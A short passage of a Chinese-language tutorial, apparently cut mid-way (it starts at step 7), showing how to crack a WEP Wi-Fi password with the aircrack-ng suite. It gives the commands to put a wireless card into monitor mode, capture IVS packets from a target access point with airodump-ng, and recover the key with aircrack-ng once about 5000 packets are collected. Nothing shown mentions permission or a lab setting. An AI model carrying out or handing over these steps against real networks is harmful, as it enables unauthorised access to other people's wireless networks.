7、输入ifconfig -a查看本地网卡接口信息。

Wlan0就是我的无线网卡了
7、输入airmon-ng start wlan0 6
这里的6是通道channel。一般最常用的有1、6、11这三个通道。

8、输入airodump-ng --ivs-w <IVS_File> -c<Channel> mon0
这行命令是开始捕获IVS数据包,<IVS_File>是存放数据的文件名,随便起个名字就成,<Channel>这里指通道,写6就行。比如:airodump-ng --ivs -w filename -c mon0

等待数据包data涨到5000以上,或者更高,可以多试试。再打开一个Shell窗口,输入破解命令:aircrack-ng -n 64 -b <ApMac> <IVS_File>-01.ivs ,这里的<ApMac>是指目标AP的MAC地址,就是SSID号对应的MAC,只要数据包达到5000以上就可试试。<IVS_File>是就是上面保存数据的文件名。
